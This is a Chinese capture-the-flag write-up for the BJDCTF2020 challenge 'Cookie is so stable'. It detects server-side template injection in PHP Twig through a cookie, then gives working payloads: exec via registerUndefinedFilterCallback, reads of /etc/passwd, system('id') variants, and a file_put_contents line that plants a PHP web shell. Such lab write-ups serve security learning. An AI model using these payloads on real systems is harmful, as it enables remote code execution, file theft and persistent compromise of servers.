[BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)
发布人:shili8
发布时间:2023-04-16 22:26
阅读次数:46
目录
信息收集
hint页面
flag页面
命令执行?
reference
信息收集
hint页面
<!-- Why not take a closer look at cookies? -->
flag页面
输入任意内容(这里输入admin)
这里第一反应是cookie类的SQL注入?但是发现这里其实并没有实现查询信息的功能,只是将输入的内容进行打印,看下前端源码,可能是SSTI!
修改cookie
${7*7}----------{{7*7}}---------{{7*'7'}}
?确认是SSTI(PHP),根据上文的流程表判定类型是Twig
在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range()
函数用来返回一个包含整数等差数列的列表:
{% for i in range(0, 3) %}
{{ i }},{% endfor %}
在twig 1.x版本,存在三个全局变量
-
_self
:引用当前模板实例 -
_context
:引用上下文 -
_charset
:引用当前字符集
命令执行?
payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
这里可以直接修改cookie,因为直接提交会被拦截
当然flag在根目录下是猜的,我们使用命令返回的结果只有第一项
一些新版本的payload
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
reference
/caseinfo/link/990752e950b044ec9dc32c17d7cb32b1
/caseinfo/link/55804410b3784d748cc4a317f052d2aa
/caseinfo/link/dd556fb94f3f4027a94bc076ec9b6ba6
[BJDCTF2020]Cookie is so stable | 信安小蚂蚁